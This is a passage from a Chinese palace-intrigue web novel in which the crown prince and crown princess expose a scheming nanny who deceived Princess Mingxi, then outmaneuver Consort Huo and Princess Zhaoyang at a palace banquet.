“不,嬷嬷,那就是我的错。祝家小姐若因我而死,我此生都不会安宁。或许,我该换一种活法。就这样被人讨厌着,绝非长久之策。” “殿下!”崔嬷嬷大惊失色,“您不要命了!您是公主,若是与人为善,就会有越来越多的人接近您。可接近您的人多了,就会有人发现您和陛下长得并不像,来日事情败露,您会被五马分尸的啊。” “这……”明曦公主被吓到,说不出话来。 崔嬷嬷继续道:“殿下,祝家小姐的事情,老奴也深感痛心。可这件事不是您的错,您如果一定要怪罪,就把这件事怪罪到老奴头上来吧!” “嬷嬷,我只有你了。”明曦公主哭泣道。 二人说得热切,并未留意到,刚才紧闭的殿门已经被人从外面打开…… 第87章 你信她的话? 听到脚步声,崔嬷嬷很警惕,一边回头一边怒骂道:“谁准你进来的……啊……太子殿下!” 崔嬷嬷双膝一软,直接跪了下去。 来的,是裴行渊。 他面色阴沉,死死地盯着崔嬷嬷。 明曦公主上前,一脸警惕:“皇兄,您怎么来了?” “孤都听到了。”裴行渊薄唇轻启,言简意赅。 明曦公主身子一软,跌坐在地:“皇兄,我担惊受怕了十多年,你就放过我吧。纵然我不是父皇的骨肉,可终究我们有……” 她的话还没说完,就听崔嬷嬷厉声道:“公主殿下,您糊涂了不成?” 裴行渊眉心一动,又很快压下心底的怒气。 实际上,他刚才什么都没听到。 崔嬷嬷很谨慎,说话的声音压得很低,他料想二人在说些隐秘的话,所以,他突然出现,诈一诈他们。 谁知道这一诈,就诈出了真相。 他走向崔嬷嬷,在她跟前站定,居高临下,冷声质问:“你就是这么教公主的?” 崔嬷嬷吓得浑身直抖:“太子殿下,老奴……不,是公主殿下她有点发烧,糊涂了。刚才所言只是胡言乱语……啊!” 裴行渊直接给了她一脚。 崔嬷嬷吃痛,滚在一旁。 明曦公主上前,张开双臂护住崔嬷嬷:“皇兄,要杀要剐您冲我来,不关嬷嬷的事。” “你信她的话?” 明曦公主眼泪直流:“皇兄,我原本是半信半疑的。但,我十二岁生辰的那天夜里,有刺客摸到了我的床前要杀我。若不是嬷嬷机警,我活不到现在。” 若不是刺客的出现,她也不会对崔嬷嬷的话深信不疑。 “所以,你觉得那刺客是父皇所派?” “不然呢?”明曦公主苦笑,“这偌大的皇宫,还有谁能指使刺客深夜出现?” “一派胡言!若父皇真的疑心什么,就不会只有那一个刺客。你也断不可能活到现在。” 帝王若想杀人,谁也躲不过。 明曦公主一脸震惊:“皇兄,你这话是什么意思?” “你被这个老虔婆骗了。你的身世没有任何问题,她想掌控你,故而编造了这么一个谎言。” “这、这怎么可能?”明曦公主不相信。 裴行渊看向崔嬷嬷:“事到临头,你还有什么好说的?” “太子殿下!”崔嬷嬷跪爬到裴行渊脚下,哀求道,“太子殿下,老奴没有说过这样的话,兴许是公主殿下误会了。” 她不肯承认。 裴行渊冷笑:“你若一味冥顽不灵,孤不介意将你夫家众人,连同你那早夭的孩子一起、掘坟!鞭尸!” 崔嬷嬷猛然抬头,惊愕地看着裴行渊。 而裴行渊神色阴狠,和之前温润如玉的气质截然不同。 崔嬷嬷迅速低下头去,连连磕头:“老奴该死!老奴该死!” 之后,在明曦公主惊讶的目光中,崔嬷嬷将一切和盘托出。 当初,先皇后去世,一直伺候先皇后的沈嬷嬷伤心至极,自请前去皇陵,为先皇后守陵。 沈嬷嬷一走,崔嬷嬷就成了明曦公主身边最有话语权的人。 曾经地位低微的人,一旦尝到权力的滋味儿,就不想再失去。 但,如果不出意外,等明曦公主长大之后,嫁了人,崔嬷嬷的地位就不再重要。 她不能容忍这样的事情发生。 所以,她让人冒充刺客,出现在明曦公主的床头,又恰到好处地出现,把这出戏坐实。 从那以后,她成功地获取了明曦公主的信任,之后的一切,也就顺理成章。 她和明曦公主拥有了共同的秘密,而明曦公主对她,言听计从。 后来,她为了阻止明曦公主嫁人,让明曦公主故意让人难堪。 这样的话,明曦公主的名声就会受损。 名声受损的女子,哪怕是公主,也很难嫁人。 事实,也真的如崔嬷嬷所愿。 听完,明曦公主一脸的不可置信:“嬷嬷,我什么好东西都肯给你,你怎能如此待我?” “殿下,是老奴一时糊涂,求公主殿下开恩!” 崔嬷嬷连连磕头,额头上很快见了血。 明曦公主的眸子里,闪过一丝不忍。 裴行渊看向她,难看的脸色有了些松动:“明曦,你皇嫂在外面等你。你先随她去柔仪殿。” “皇兄……”明曦公主咬着下唇,“所以,我的身世没有问题。我们就是一母同胞的亲兄妹,是不是?” “当然。”裴行渊郑重点头。 裴行渊的话给了明曦公主很大的勇气,她转身朝着殿外走去,不再理会崔嬷嬷的连声求饶。 走到外面,她看到了洛云舒。 她原本以为,洛云舒会奚落她。 然而,洛云舒只是走过来,给她递了一方帕子,又指了指不远处的凉亭:“若是一时收不住情绪,可以去那边再哭一会儿。” 永宁宫距离东宫还有一段距离,明曦公主可以在自己的宫里哭,但不能在外面哭。 这个道理,明曦公主懂。 她拿着帕子掩着脸,哭了一会儿,之后竭力克制着自己的情绪,到了柔仪殿。 到了柔仪殿,她再也忍不住,泪如雨下。 洛云舒并未劝她不要哭,反而希望她能哭个痛快。 有些情绪,是很难压抑的。 尤其是,明曦公主早年丧母,这些年来,她和崔嬷嬷情同母女,可到头来,偏偏是崔嬷嬷骗了她。 这很难让人接受。 明曦公主痛痛快快地哭了一场,也把一切都想明白了。 “皇嫂,你对我出言不逊,是因为猜出崔嬷嬷有鬼?” “是。” 明曦公主的眼睛红红的:“原来,只有我是最蠢的,被一个奴婢蒙骗了这么多年。” “不是这样的,明曦。这世间的事情,向来是当局者迷,旁观者清。我置身事外,反而能发现其中的蹊跷。你一直被蒙蔽,很难发现什么。”说完,洛云舒又补了一句,“原本,在我的计划里,要将一切探查清楚再出手。但是,太子殿下等不及,所以,你的皇兄真的很在意你。” “嗯!”明曦公主重重点头。 她看着洛云舒,满目感激。 洛云舒陪着她说了一会儿话,又和她一起吃了些东西,之后,明曦公主困意袭来,歇在了柔仪殿偏殿。 洛云舒一直没睡,等着裴行渊回来。 只不过,裴行渊回来的时候,还带着一个上了年纪的妇人。 第88章 是我这个做哥哥的失职 那妇人中等身材,穿着一身墨绿色的长裙。 她面容白净,灰白的发丝梳得油光水滑,拢在脑后,簪着一根简单的素银簪子,打扮得很朴素。 近前之后,她很快屈膝行礼:“老奴沈氏,见过太子妃娘娘。” 是先皇后身边那位沈嬷嬷。 洛云舒立刻起身,亲手将她扶起来:“沈嬷嬷,您是母亲身边的旧人,不必多礼。” 沈嬷嬷眼底带泪:“若皇后娘娘还在,看到太子殿下成亲,不知道会有多高兴。” “母亲在天有灵,会知晓的。” 这时,裴行渊开口打断二人:“云舒,吩咐人安排嬷嬷住下。” “是,殿下。” 等洛云舒将沈嬷嬷安置妥当,再回来的时候,就见裴行渊坐在灯下,没洗漱,也没换衣服。 “说到底,是我这个做哥哥的失职。”这一刻,裴行渊的脸色很难看。 “殿下日理万机,顾虑不到这些细节也无可厚非。” “不,不必为我开脱。错了就是错了。” 他是做哥哥的人,母亲没了,他本应该为妹妹撑腰,成为她的依靠。 可结果呢,就在他的眼皮子底下,一个卑贱的奴才,用如此不入流的手段,竟然蒙骗、欺辱了他妹妹这么多年! “不是这样的,殿下。面对我们的亲人,哪怕是他们做错了事情,我们也总会想着为他们开脱,觉得他们做错事一定是有原因的。这是因为我们本能地觉得自己的亲人不是坏人,不会做恶事。正如同多年来,您面对明曦所做的事情,总觉得她不是个坏人。也正是因为如此,您不会去推究背后的原因。而我不同,我与明曦没什么交情,反而能更轻易地去发现其中的问题。说到底,还是关心则乱的缘故。” 裴行渊的脸色好看了一些,可看他那个样子,还是无法原谅自己。 “殿下,过去的已经过去了,重要的是以后。咱们是明曦的兄嫂,得为她善后。” 裴行渊眼底有戾气浮现:“那个姓崔的贱婢,孤已经将其杖毙,她是罪有应得。但是,她扯下的谎言不能被任何人知晓,母亲已经故去,哪怕是一出毫无根据的谣言都不能成为泼在她身上的脏水。” 洛云舒郑重点头:“殿下放心,我懂。” 皇室之中,任何细微的事情都有可能被人捕风捉影,从而成为构陷的事实。 更何况是事关皇嗣这样的大事。 这件事若真的传了出去,就连裴行渊的出身都会受到质疑。 所以,务必要将此事捂得严严实实。 崔嬷嬷的死,可以以得了急病来作为借口。 明曦公主住在柔仪殿,也可以用忠仆得了急病而死,她伤心过度,被洛云舒接过来暂住来做为理由。 对外,只能这么说。 “云舒,这些事就拜托你了。”说着,裴行渊看着洛云舒,满目感激。 如果不是洛云舒,只怕他现在还蒙在鼓里。 “殿下放心,这些事情我会妥善处置。以您的意思,是让沈嬷嬷日后陪伴明曦?” “是。沈嬷嬷是我母亲身边的旧人,现如今,我想不到更可靠的人了。” 毕竟,沈嬷嬷和明曦有旧时的情谊在。 在现在这个时候,让沈嬷嬷来陪伴明曦公主是最稳妥的。 “殿下放心,我会尽己所能,让这件事平稳度过。” 说完这些,裴行渊精疲力尽。 洛云舒亲自服侍裴行渊在屏风后躺下,起身时,却被他拉住了手腕。 洛云舒看过去,满目疑惑。 裴行渊看着她,眸光柔和:“云舒,这次的事情,多谢你。” “殿下,明曦是你的亲妹妹,与您关系密切。她有事,我自当尽心尽力。” “嗯!”裴行渊重重点头,松开了洛云舒的手。 洛云舒自去洗漱,在大床上躺下。 可躺下后,她却久久不能入眠。 上一世,在裴行渊被霍少远算计,残了双腿之后不久,明曦公主死了。 至于死因,洛云舒并不知道。 只知道明曦公主死后,裴行渊吐了好几次血,而霍少远却是拍手相庆。 当时,她恨极了霍少远,看他得势,她更是恼怒,可做了鬼的她,什么都做不了,眼睁睁看着霍少远荣登高位,为人所敬仰。 可这一世,她改变了很多。 她窥破了霍少远假死后面的阴谋,使得裴行渊躲过一劫。 只是不知道,这一次她算不算扭转了明曦公主的死局? 只可惜,上一世的她没能知道明曦公主因何而死。 但,既然识破了崔嬷嬷的阴谋,日后明曦公主只会越来越好。 洛云舒有这个信心。 将所有的事情在头脑中梳理了一遍之后,洛云舒沉沉睡去。 第二日,洛云舒醒来的时候,裴行渊已经离开。 洛云舒起身梳洗,去了安置明曦公主的偏殿。 偏殿里点了安神香,明曦公主还没醒。 洛云舒吩咐人去永宁宫问明曦公主的喜好,按着她的喜好布置早膳。 之后,洛云舒亲自去了一趟翊坤宫。 听完,赵皇后有点意外:“明曦身边那位崔嬷嬷得急病死了?唉,没她劝着,明曦日后还不知道会如何放肆。” 洛云舒垂眸:“母后放心,儿媳会好好规劝明曦。” “也好。这样吧,你今日就不必在本宫这里了,只管陪着明曦就好。若是有可能,还是要尽可能地规劝明曦。到底是皇室公主,总不能一直那般过分。” “是,母后。” 在赵皇后这里告了假,洛云舒直接回了柔仪殿。 这会儿,明曦公主已经醒了,在沈嬷嬷的陪伴下用着早膳。 看到洛云舒回来,她的眼睛红红的:“皇嫂。” 洛云舒应了一声,在她身边坐下:“咱们一起吃。” 明曦公主重重点头,往嘴里塞了一个包子。 可嚼着嚼着,她的眼泪无声地落下。 她伸手去擦,那眼泪却是越来越多,怎么都擦不完。 洛云舒挥手,让所有人都退了下去。 直到只剩下她们二人的时候,明曦公主仍然试图去擦脸上的泪,却还是无济于事。 她放声大哭,边哭边说道:“皇嫂,崔嬷嬷那般对我,我应该生气的是不是?可她死了,我还是好难过啊……” 听完,洛云舒心头一震。 第89章 她觉得,洛云舒懂她 崔嬷嬷被处死的事情,洛云舒并未告诉明曦公主。 “明曦,崔嬷嬷的事,谁告诉你的?” “没人告诉我,是我自己猜出来的。”明曦公主带着哭腔说道。 听完,洛云舒心里有了判断。 明曦公主很聪明。 安慰聪明人,有聪明的法子。 “明曦,人是很复杂的。你心里知道崔嬷嬷作恶,和她死了,你还是会为她感到难过,并不矛盾。” “怎么会?”明曦公主不理解,“为一个恶人难过,怎么会不矛盾?” 在明曦公主的认知里,她不该为一个恶人难过。 洛云舒摇摇头,缓缓说道:“这个世界上并没有彻头彻尾的恶人。就拿崔嬷嬷来说,她欺骗了你,可她还是给过你无微不至的关心。正是因为她对你的好,才让你现在这么难过。你想恨她,却又发现恨不起来。” “对对对,就是这样的。”明曦公主看着洛云舒,满眼冒星星。 她觉得,洛云舒懂她。 “人就是这样的,好与坏交织着。想到她的好,你觉得感激莫名。想到她的坏,你又觉得自己的感激实在是没有必要。可是,我们实在是没必要为了其他人这么折磨自己。过往的一切,且让它随风去。” 明曦公主有所动容:“皇嫂,你的意思是,把一切交给时间?” “是,无论是好与坏,都交给时间去评判。你只管往前走,不要被过往困住。” 时间如流水,会涤荡一切,会去伪存真,会冲走表面的泥沙,留下最本质的东西。 如今没到一定的时间,谁也无法预料,当时间匆匆而过后,留下的究竟是什么。 这些话,洛云舒说给明曦公主听,也是在说给自己听。 但,她的内心比明曦公主要坚定许多。 一切,只管交给时间。 明曦公主的伤痛没那么容易会过去,也同样交给时间。 洛云舒能做的,只是陪伴和及时的开解。 安抚明曦公主的同时,洛云舒也没忘了自己先前办的事。 经过这几日的发酵,霍少远重诺的流言已经传得很广。 甚至宫里都有人议论。 火候儿差不多的时候,赵皇后办品瓜宴的日子也到了。 参加品瓜宴的是各宫的妃子连同公主,还有各位公主相熟的至交好友。 洛云舒陪着明曦公主一同出现。 明曦公主有点紧张:“皇嫂,我怕。” 洛云舒看向她,眸光真诚:“明曦,不必怕。你是嫡公主,你的母亲是先皇后,你的哥哥是太子,而你的父亲是当今陛下。这满朝的公主,唯有你最尊贵。” 明曦公主微微错愕,她是、最尊贵的公主吗? 一旁,紧跟着明曦公主的沈嬷嬷也附和道:“没错,殿下,您是最尊贵的公主。” 眼下的当务之急,是重塑明曦公主的信心。 以往,明曦公主每次参加宴会都很紧张。 有了崔嬷嬷灌输给她的想法,她每一次露面都生怕别人会看出来她和陛下长得不像。 所以,她才会口出恶言,拒绝一切想接近她的人。 那时候她觉得,唯有惧怕她,旁人才会不敢看她。 不看她,就不会发现她的秘密。 但是现在,有了洛云舒和沈嬷嬷的鼓励,明曦公主的腰杆儿都直了不少。 她跟在洛云舒身边,不卑不亢地抬头,接受周围人的打量。 很快,她察觉到有人看她,那藏在袖子里的手紧张地握起,但她的背并未因此而变得弯曲,她依旧挺胸抬头,维持着身为公主的威仪。 “明曦,你做得很好。”洛云舒及时给她鼓励。 明曦公主侧过身,冲着洛云舒笑了一下。 不知道为什么,就在这一刻,她觉得好像有什么东西变得不一样了。 二人到来之后,在紧挨着皇后的主座旁边坐下。 一坐下,她们就看到了坐在对面的霍贵妃等人。 虽然久闻霍贵妃的大名,但洛云舒还是第一次如此近距离地直面她。 霍贵妃身着一袭金粉色云锦长裙,上面用暗纹绣着大朵的牡丹,举手投足间,锦裙表面泛着珍珠一般的光芒,犹如披了满身的云霞,贵不可言。 与满身锦绣相得益彰的,是霍贵妃精致明艳的妆容。 她肤若凝脂,一双眉细细地描摹过,唇间一抹朱红,一颦一笑间,尽显贵妃气度。 当真是回眸一笑百媚生,六宫粉黛无颜色。 怪不得,她能被陛下专宠这么多年。 洛云舒心底暗自感叹,表面却不动神色。 这时候,她的视线被刚刚坐在霍贵妃身边的女子吸引。 是昭阳公主。 昭阳公主是最得宠的公主,性情明朗,很得陛下的喜爱。 坐下之后,她就跟霍贵妃撒娇:“母妃,在外面跑了一圈,可真是累死我了。” 霍贵妃笑着看她:“若是累了就歇一会儿。喏,这是本宫专门让人给你备下的冰乳酪,快用一些。” 昭阳公主笑着答应,一抬头,却看到了洛云舒和明曦公主。 顷刻间,昭阳公主满脸的笑意化作虚无。 她歪着脑袋去看霍贵妃,装作不懂的样子问道:“母妃,水性杨花是什么意思,您能给我讲解一下吗?” 霍贵妃掩嘴一笑:“所谓水性杨花,就是见一个爱一个,你可千万别学这个。” “母妃放心,我才不学,也绝不做这样的人。” …… 他们母女议论的声音不算小,声音传入洛云舒和明曦公主的耳朵里。 明曦公主气不过,正要起身。 洛云舒按住她的手,低声道:“明曦,稍安勿躁。” “他们分明是在议论你。” “不,他们没有提我的名字。没有提我的名字,就不是在说我。” “你这样,岂不是在掩耳盗铃?”明曦公主震惊道。 洛云舒笑着摇头:“不是这样的,明曦。如果他们随口所说的一句话我就要上赶着去解释,那未必也太被动了。还有,永远不要试图证明你不是别人口中的样子,没有意义。不要陷入自证的陷阱。” “那就这么轻轻揭过?” 洛云舒笑着摇头:“当然不是。你且坐着看,看我如何、当场报仇。” 明曦公主惊愕:“不是都说君子报仇,十年不晚吗?” “不,这样容易把自己气死。与气死自己相比,我倒宁愿先气死别人。”说完,洛云舒勾了勾唇,笑了。 第90章 该罚的,一个都躲不过 这时,外面传来内侍的通报声:“皇后娘娘驾到!” 已经落座的众人纷纷看向洛云舒,见她起身之后,这才依次起身,恭迎赵皇后的到来。 “臣妾(儿臣)见过皇后娘娘!” 赵皇后身着华服,缓步而来。 她虽然才十二岁,但已经不算矮,繁复的凤袍穿在她的身上,并不显得臃肿,衬着她那严肃端方的面容,反而为她添了几分威仪。 出身文臣世家的女子,从不会让人失望。 进来之后,赵皇后面带微笑,走到主座前,她转身看向众人,微微笑着:“免礼。” “谢皇后娘娘!” 按照常理而言,这时候大家应该坐下。 但,看到洛云舒没坐,大家都没坐,唯有霍贵妃和昭阳公主直接坐了下去。 赵皇后坐下之后,疑惑地看过来。 洛云舒朝着她微施一礼:“关于赴宴的规矩,儿媳有一事不明,想请教母后。” 见此情景,赵皇后就知道事出有因,她直接道:“你且说来。” “母后,儿媳不解,水性杨花这样的词语,是否能出现在这种规格的宫宴上?” 洛云舒说完,看到坐在对面的霍贵妃和昭阳公主齐齐变了脸色。 赵皇后的脸色倏然一变:“自然不能。不要说是在这样的宫宴上,就算是私下里寻常相聚,也不该出现这样的词汇。” 赵皇后疾言厉色,真的是气到了极致。 她出身赵家,最重规矩。 说完之后,她立刻问道:“谁说了这样的话?” 洛云舒垂眸:“母后息怒。方才听贵妃娘娘为昭阳讲解这四个字的意思,故而有此疑问。” 待洛云舒说完,赵皇后已经看向霍贵妃,质问道:“霍贵妃,今日众公主都在,你就是这么教导后辈的?” 霍贵妃暗暗咬牙,不情不愿地起身:“皇后娘娘,此事是臣妾大意了。” “这不是大意二字能遮掩过去的。霍贵妃,你是已经做了母亲的人,不该如此行事。自今日开始,你每日跟着教养嬷嬷学四个时辰的规矩,暂时先学一个月,以观后效。在学成之前,你就不必教养一双儿女了,免得教坏了他们。” “皇后娘娘,臣妾不过是说错了一句话而已,怎能受到如此严重的惩罚?” “礼不可废。再者,这话你说出来,必然是心中认同。既然如此,怎能不好好学学规矩?”赵皇后有理有据。 说完,赵皇后又补了一句:“今日事今日毕,今天便开始学规矩,这品瓜宴,你也就不必参加了。” 一时间,霍贵妃的脸色红一阵白一阵,难看得很。 这是要公然把她从宴会上赶走! 偏偏,赵皇后字字都是规矩,她说不出反驳的话。 今日出席宴会,她盛装打扮,然而,刚才有多风光,现在就有多狼狈。 霍贵妃身着华服,灰溜溜地离场。 她虽然没有看任何人,却觉得大家的目光如同毒刺一般扎在她的身上,让她眼前一阵阵发黑,近乎晕厥。 昭阳公主看不过,为自己的母妃出头:“母后,此事是儿臣先提起,母妃只是为儿臣解惑。说到底,此事是儿臣的错。您若是要罚,只管罚儿臣也就是了。” “你自然是要罚的。你母妃对你有教养之责,她的过错要大一些。自明日起,你也要跟着教养嬷嬷学规矩。” 该罚的,一个都躲不过。 昭阳公主闷闷地坐下,看向洛云舒的目光满是怨毒。 洛云舒看过去,面带浅笑。 一旁,明曦公主早已看呆。 她实在是没有想到,居然还可以这样! 洛云舒反问:“为何不能这样?咱是有长辈的人,告状就能解决的事情,就用不着那么麻烦了。” 明曦公主满眼都是叹服。 洛云舒莞尔一笑,今日这戏,才刚刚开始呢。 所谓品瓜宴,自然是以品瓜为主。 随着赵皇后一声令下,宫女们鱼贯而入,送来各地进贡上来的瓜果。 正值夏季,正是各种瓜果成熟的季节。 瓜果去了皮,切成薄薄的片铺在碎冰之上,看着晶莹剔透,闻起来香气扑鼻。 洛云舒拿起旁边的银叉,叉了一片送入口中,口感清脆,汁水甘甜丰盈,很美味。 洛云舒很喜欢。 美味的食物,总能让人心情愉悦。 一旁,明曦公主低声说道:“皇嫂,你的心情似乎总是很好。” “那是因为我过得舒心。” 重活一世,她自然是怎么开心怎么来。 她的日子,就要这么过。 有人来招惹,她当场就要报仇,不留隔夜气。 气不着,自然心情好。 “皇嫂,我想跟着你学。” “好。”洛云舒一口答应。 按照宴会的流程,集体品尝过瓜果之后,就是自行活动了。 以免众人拘束,赵皇后早早退场。 这个宴会,本意是让洛云舒熟悉众人。 不过,因为洛云舒刚才的“告状”,大家摸不准她的脾气,没人敢主动上来。 当然,也有例外。 “真没想到,皇嫂这么大的人了,遇到事情的时候居然向长辈告状,真是幼稚!”是昭阳公主找了过来。 洛云舒笑着回应:“告状,且能告得上,是本宫的本事。” 她的言外之意是:有本事,别让我抓到你们的错处。若是没这个本事,那就乖乖受着! 一时之间,昭阳公主的脸色特别难看。 很快,她找到了出气筒。 她看向明曦公主,冷笑道:“哟,你这阴沟里的老鼠也爬出来了?” 往日里,明曦公主很少跟人对视,因此,昭阳公主私下里说她是阴沟里的老鼠,明曦公主也有所耳闻。 但,昭阳公主从来没当面说过。 毕竟,明曦公主嘴巴很毒。 而今日,昭阳公主是有意挑衅。 在洛云舒那里找不到破绽,所以,昭阳公主选择了明曦公主。 明曦公主犯错,就等同于洛云舒出错。 但,不等明曦公主做什么,洛云舒直接出手。 是字面意思上的出手。 她一个耳光下去,昭阳公主懵了。 明曦公主懵了! 连同周围旁观的其他公主,也懵了! 第91章 你、你分明是偏帮明曦! 昭阳公主疼得半边脸都木了,她捂着脸,又痛又恼:“你竟敢打我?” “正所谓长嫂如母,本宫身为你的长嫂,你犯了错,为何不能教训你?” “你、你分明是偏帮明曦!” “偏帮?你倒是说说看,本宫哪里偏帮明曦了?是你先口出恶言,侮辱她是阴沟里的老鼠。在此之前,明曦什么都没做。” “她自己又好到哪里去了?裴明曦的嘴巴比我的毒!” “是吗?”说着,洛云舒看了明曦公主一眼,见她乖乖巧巧的,不由得一笑,“本宫从未见过明曦口出恶言的样子。若她口出恶言,本宫也不会饶过她。” 一听这话,昭阳公主的眼睛就亮了。 明曦公主最讨厌谁议论她,哪怕议论她的人是洛云舒,明曦公主也一定会出手。 要知道,裴明曦这个人古怪得很,她什么都不会顾忌,就连在赵皇后面前,她也是不管不顾的性子,让赵皇后头疼不已。 裴明曦不买赵皇后的账,岂会给区区一个洛云舒留脸面? 只要明曦公主开口,就一定会中伤洛云舒。 这岂不是一出狗咬狗的戏码? 昭阳公主满目期待。 然而,明曦公主看向洛云舒,却是柔柔一笑:“皇嫂放心,我绝不口出恶言。” 瞬间,昭阳公主一副见了鬼的表情。 她瞪大了眼睛看着明曦公主,怎么也不敢相信刚才那个表情是明曦公主做出来的,更不敢相信明曦公主居然会说出这样一番话。 当真是难以置信! 在昭阳公主震惊的目光中,洛云舒笑着看向明曦公主,甚至还捏了捏她的脸颊:“是的,明曦最乖了。” 昭阳公主扭脸看向明曦公主,看到她笑着点头,只觉得天都塌了。 她怎么也不敢相信,明曦公主对洛云舒居然这么客气! 而且,洛云舒居然捏了明曦公主的脸! 可是,从前明曦公主向来是无差别攻击的,就算是对赵皇后,她都照样想说什么就说什么,从来不会有所顾忌。 今日,她这是怎么了? 这时候,洛云舒看向昭阳公主,语气里带着警告:“昭阳,今日是你初次冒犯明曦,本宫可以暂且饶过你。若有下次,本宫不会轻饶。” 说完,洛云舒的眼神轻飘飘地掠过昭阳公主身边的霍娇娇,勾了勾唇,语气亲昵:“娇娇,你也在啊。” 霍娇娇原本是拼命降低存在感的,但是突然听到洛云舒叫她,她急忙笑了笑,把自己的姿态放得很低:“是,臣女也在。” 一时之间,霍娇娇心里五味杂陈。 原本,在洛云舒面前,她向来是有优越感的。 哪怕是在洛云舒和霍少远有了婚约之后,她依旧没把洛云舒放在眼里。 在她看来,洛云舒一个小门小户的女儿,实在让她看不上。 可现在洛云舒摇身一变,已经飞上指头,成了实打实的太子妃。 她再不敢造次。 尤其是上次算计洛云舒失败之后,她愈发觉得洛云舒可怕。 而现在,洛云舒对她和颜悦色,让她摸不着头脑。 洛云舒却不想那么多,又拉着霍娇娇的手问道:“娇娇,近来干娘可好?” 霍娇娇却不敢托大:“谢太子妃娘娘关心,母亲她一切都好。” “娇娇,见外了不是?你该叫我一声姐姐才对。听闻如今百姓们都传兄长重诺,这是好事。” “是,我也有所耳闻。”霍娇娇小心翼翼,顺着洛云舒的话往下说。 其他的,她一个字都不敢多说。 洛云舒笑笑:“回府之后,代本宫像干娘问好。” “是。”霍娇娇语气恭敬。 等洛云舒走远之后,昭阳公主不乐意地瞪着霍娇娇:“你对她这么客气做什么?” “殿下,您不知道,洛云舒很邪门儿。我劝你不要跟她对着干,不然,会吃大亏。” 昭阳公主往霍娇娇胳膊上掐了一下,怒道:“你可真会长别人的威风,灭自己的志气!哟,你们霍家和洛云舒走得可真近。这一口一个姐姐妹妹,一口一个干娘的,还真是亲昵得很啊!” 霍娇娇急忙解释:“殿下,当初退婚的时候,为了避免落人口舌,母亲才认了洛云舒为干女儿。实际上,我们两府私底下并无来往。所谓认亲,也不过是走个过场而已。” “走个过场?我看未必吧。她洛云舒对我非打即骂,对你倒是客气得很。” 昭阳公主心里很不服气。 她一个堂堂正正的公主,怎么就比不得一个国公之女了? 霍娇娇百口莫辩,她也想不通为什么洛云舒对她这么客气。 说起来,她已经很久没见过洛云舒了。 她这么一愣神,昭阳公主又恼了,阴阳怪气道:“哼,人都走了你还盯着她的背影看。既然你这么想她,赶紧去找她呗!” 说完,昭阳公主推了霍娇娇一下,气鼓鼓地离开。 不远处的花丛后,洛云舒看到这一幕,脸上的笑容愈发浓郁。 “皇嫂,你是不是要算计她们俩?”明曦公主一脸好奇。 洛云舒摇摇头:“不是。是以牙还牙。我这个人最善良了,从不会主动算计人。” 明曦公主一愣,然后连声附和:“没错,对对对,就是这样,皇嫂最善良了。” 这话,洛云舒爱听。 明曦公主的确没猜错,她是在算计她们俩。 更确切地说,是在算计昭阳公主。 到底是年纪不大的人,在她这儿受了委屈,该去找自己的母亲告状了。 至于后面的事情会不会按照她设想的去发展,那就拭目以待。 一场品瓜宴,圆满结束。 至少,在明曦公主的帮助下,洛云舒把其他六位公主的脸认全了。 原本,后宫共有八位公主,明曦公主嘴毒,昭阳公主得宠,有她们俩珠玉(狗屎)在前,其他公主都很规矩,由各自的母妃带着,很少出什么差错。 宴会结束后,洛云舒带着明曦公主回到了柔仪殿。 回来之后,洛云舒看向她,直接道:“明曦,从今天开始,你跟着严嬷嬷学规矩。” “啊?”明曦公主一副天塌了的表情,“皇嫂,我今天没犯错吧?” 第92章 算你扛揍 第92章 算你扛揍 洛云舒笑笑:“没有啊,怎么会这么问?” “既然我没有犯错,为什么要让我学规矩?不是只有犯了错的人才去学规矩吗?” “不是这样的。”洛云舒笑着摇头,“你觉得贵妃娘娘今日为何落败?” “皇家讲究体面。她不该在这样的场合和昭阳讨论那四个字。” “表面上看来是这样。但实际上,她是想让我难堪。因为想让我难堪,所以没顾上规矩。实则,任何时候,做任何事,都要在遵守规矩的范围内去做。” “唉!”明曦公主无奈叹气,“若是时时刻刻都要讲规矩,岂不是很无趣?” “怎么会呢?只有知道什么时候该遵守什么样的规矩,才能在规矩所允许的范围内,为所欲为。” 明曦公主一头雾水。 她实在是不明白。 规矩是让人循规蹈矩的,又怎么可以为所欲为? “这样吧,我给你举个例子。就拿最简单的吃东西来举例子,依着皇族的规矩,吃东西的时候不能与人交谈,不能发出声音,也不能动作太大。乍一看,这的确太过死板。但实际上,只要你不做这三件事,你想吃什么,吃多少都可以。” 听完,明曦公主眼前一亮:“皇嫂,你的意思是,懂规矩,然后在规矩之外为所欲为?” “对,是这个理儿。懂规矩,就是明确地知道什么事情不能做,那么,除了不能做的那些,其他的不都是能做的了?而且,如果这时候有人质疑你做的不对,你还可以拿规矩来说事。毕竟,你是按规矩办事,谁都不能说你什么。” “皇嫂,我悟了!我今天就开始学规矩!”说完,明曦公主自己去找严嬷嬷了。 明曦公主学规矩的事情,很快就传到了赵皇后的耳中。 为此,赵皇后特意把洛云舒请了过去,想知道事情的缘由。 实话自然是不能说的。 洛云舒很快给出早就想好的借口:“崔嬷嬷骤然离世,明曦一时间难以接受。儿臣劝了她几句,又请殿下请回了沈嬷嬷,殿下也跟着劝,总算是让明曦有了学规矩的心思。儿臣想着,既然明曦有了这个心思,就哄着她学下去。” “这很难得。”赵皇后满目赞许。 以往,她也不是没想过让明曦公主学规矩,可无论是哪个教养嬷嬷去,都会被明曦公主轰出来。 哪怕是她亲自出面,明曦公主都不给面子。 久而久之,她想到明曦公主就觉得头疼。 之前,她也不是没想过要惩罚明曦公主,可小的惩罚明曦公主压根儿就不放在眼里,又不能真的把她打死。 没想到如今这个刺儿头在洛云舒手里居然变得乖顺了。 这很难得。 “等这规矩学上一阵子,儿臣带明曦来给您请安。” “千万别!”赵皇后连连摇头,只觉得脑袋又疼了,“不必让她来给本宫请安。” 她受不起。 洛云舒忍俊不禁。 没想到面对霍贵妃都淡然自若的赵皇后,居然败给了明曦公主。 临走时,赵皇后送了一箱子首饰给洛云舒,顺便还给她戴高帽:“云舒,你当真厉害,居然能降得住明曦。不过,明曦性情乖张,若是一时在言辞上得罪了你,你可千万别跟她一般见识。” 这是怕洛云舒打退堂鼓。 洛云舒懂,立刻应下:“母后放心,儿臣必定竭尽全力。” “如此甚好。”说着,赵皇后如释重负。 回到柔仪殿,洛云舒把首饰给明曦公主分了一半。 明曦公主有点意外:“好端端的,为什么分给我这么多首饰?” “是母后赏的。” “她个断奶没几天的娃娃……”说着,明曦公主急忙捂住嘴巴,“皇嫂,对不住。之前说顺嘴了。” 洛云舒嗔了她一眼:“在我这里说说没关系,可千万不能被别人听到。” 明曦公主笑着打了一下自己的嘴,连连保证:“是是是,以后再不敢说。” 